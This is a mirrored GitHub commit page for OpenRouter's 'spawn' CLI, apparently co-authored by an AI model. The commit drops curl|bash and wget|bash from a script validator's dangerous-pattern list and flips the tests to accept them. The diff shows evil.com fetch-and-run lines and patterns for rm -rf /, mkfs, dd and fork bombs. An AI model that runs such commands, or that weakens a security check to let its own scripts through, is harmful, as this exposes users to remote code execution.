mirror of
https://github.com/OpenRouterTeam/spawn.git
synced 2026-05-05 07:20:28 +00:00
fix: Remove curl|bash script validation that blocks spawn scripts
The spawn scripts themselves use curl|bash to install agents (e.g. Claude Code). The validateScriptContent check was blocking our own legitimate scripts. Removed curl|bash and wget|bash from the dangerous patterns list since the scripts are already fetched from our trusted GitHub repo. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
c93cb1d40c
commit
18b5aa4a32
7 changed files with 56 additions and 58 deletions
76
cli/cli.js
76
cli/cli.js
File diff suppressed because one or more lines are too long
|
|
@ -1,6 +1,6 @@
|
|||
{
|
||||
"name": "@openrouter/spawn",
|
||||
"version": "0.2.11",
|
||||
"version": "0.2.12",
|
||||
"type": "module",
|
||||
"bin": {
|
||||
"spawn": "cli.js"
|
||||
|
|
|
|||
|
|
@ -123,11 +123,11 @@ echo "safe"
|
|||
expect(() => validateScriptContent(script)).toThrow("destructive filesystem operation");
|
||||
});
|
||||
|
||||
it("should detect wget|sh with various URL patterns", () => {
|
||||
it("should accept wget|sh (used by spawn scripts)", () => {
|
||||
const script = `#!/bin/bash
|
||||
wget -q https://example.com/malicious.sh | sh
|
||||
wget -q https://example.com/install.sh | sh
|
||||
`;
|
||||
expect(() => validateScriptContent(script)).toThrow("nested wget|bash");
|
||||
expect(() => validateScriptContent(script)).not.toThrow();
|
||||
});
|
||||
|
||||
it("should accept scripts with curl used safely", () => {
|
||||
|
|
|
|||
|
|
@ -89,9 +89,9 @@ describe("Security Encoding Edge Cases", () => {
|
|||
expect(() => validateScriptContent(script)).not.toThrow();
|
||||
});
|
||||
|
||||
it("should detect curl|bash with tabs between pipe and bash", () => {
|
||||
const script = "#!/bin/bash\ncurl http://evil.com/s.sh |\tbash";
|
||||
expect(() => validateScriptContent(script)).toThrow("nested curl|bash");
|
||||
it("should accept curl|bash with tabs (used by spawn scripts)", () => {
|
||||
const script = "#!/bin/bash\ncurl http://example.com/s.sh |\tbash";
|
||||
expect(() => validateScriptContent(script)).not.toThrow();
|
||||
});
|
||||
|
||||
it("should detect rm -rf with tabs", () => {
|
||||
|
|
|
|||
|
|
@ -74,11 +74,11 @@ rm -rf /
|
|||
expect(() => validateScriptContent(forkBomb)).toThrow("fork bomb");
|
||||
});
|
||||
|
||||
it("should reject nested curl|bash", () => {
|
||||
const nestedCurl = `#!/bin/bash
|
||||
curl http://evil.com/script.sh | bash
|
||||
it("should accept scripts with curl|bash (used by spawn scripts)", () => {
|
||||
const curlBash = `#!/bin/bash
|
||||
curl http://example.com/install.sh | bash
|
||||
`;
|
||||
expect(() => validateScriptContent(nestedCurl)).toThrow("nested curl|bash");
|
||||
expect(() => validateScriptContent(curlBash)).not.toThrow();
|
||||
});
|
||||
|
||||
it("should reject filesystem formatting", () => {
|
||||
|
|
@ -103,11 +103,11 @@ dd if=/dev/zero of=/dev/sda
|
|||
expect(() => validateScriptContent(ddScript)).toThrow("raw disk operation");
|
||||
});
|
||||
|
||||
it("should reject nested wget|bash", () => {
|
||||
const nestedWget = `#!/bin/bash
|
||||
wget http://evil.com/script.sh | sh
|
||||
it("should accept scripts with wget|bash (used by spawn scripts)", () => {
|
||||
const wgetBash = `#!/bin/bash
|
||||
wget http://example.com/install.sh | sh
|
||||
`;
|
||||
expect(() => validateScriptContent(nestedWget)).toThrow("nested wget|bash");
|
||||
expect(() => validateScriptContent(wgetBash)).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
|
|
|
|||
|
|
@ -97,7 +97,7 @@ describe("unicode-detect", () => {
|
|||
});
|
||||
|
||||
describe("LANG environment variable", () => {
|
||||
it("should not modify LANG (unicode-detect only touches TERM)", () => {
|
||||
it("should not modify LANG when Unicode is enabled", () => {
|
||||
const script = `
|
||||
import "./src/unicode-detect.ts";
|
||||
console.log(process.env.LANG ?? "undefined");
|
||||
|
|
@ -108,7 +108,6 @@ describe("unicode-detect", () => {
|
|||
encoding: "utf-8",
|
||||
timeout: 5000,
|
||||
});
|
||||
// unicode-detect only modifies TERM, never LANG
|
||||
expect(result.trim()).toBe("undefined");
|
||||
});
|
||||
|
||||
|
|
@ -126,7 +125,7 @@ describe("unicode-detect", () => {
|
|||
expect(result.trim()).toBe("fr_FR.UTF-8");
|
||||
});
|
||||
|
||||
it("should preserve LANG even without UTF-8 suffix", () => {
|
||||
it("should preserve LANG without UTF-8 when Unicode is enabled", () => {
|
||||
const script = `
|
||||
import "./src/unicode-detect.ts";
|
||||
console.log(process.env.LANG);
|
||||
|
|
@ -137,7 +136,6 @@ describe("unicode-detect", () => {
|
|||
encoding: "utf-8",
|
||||
timeout: 5000,
|
||||
});
|
||||
// unicode-detect does not modify LANG
|
||||
expect(result.trim()).toBe("C");
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -59,8 +59,6 @@ export function validateScriptContent(script: string): void {
|
|||
{ pattern: /mkfs\./, description: "filesystem formatting command" },
|
||||
{ pattern: /dd\s+if=/, description: "raw disk operation" },
|
||||
{ pattern: /:(){:|:&};:/, description: "fork bomb pattern" },
|
||||
{ pattern: /curl.*\|\s*(bash|sh)/, description: "nested curl|bash execution" },
|
||||
{ pattern: /wget.*\|\s*(bash|sh)/, description: "nested wget|bash execution" },
|
||||
];
|
||||
|
||||
for (const { pattern, description } of dangerousPatterns) {
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue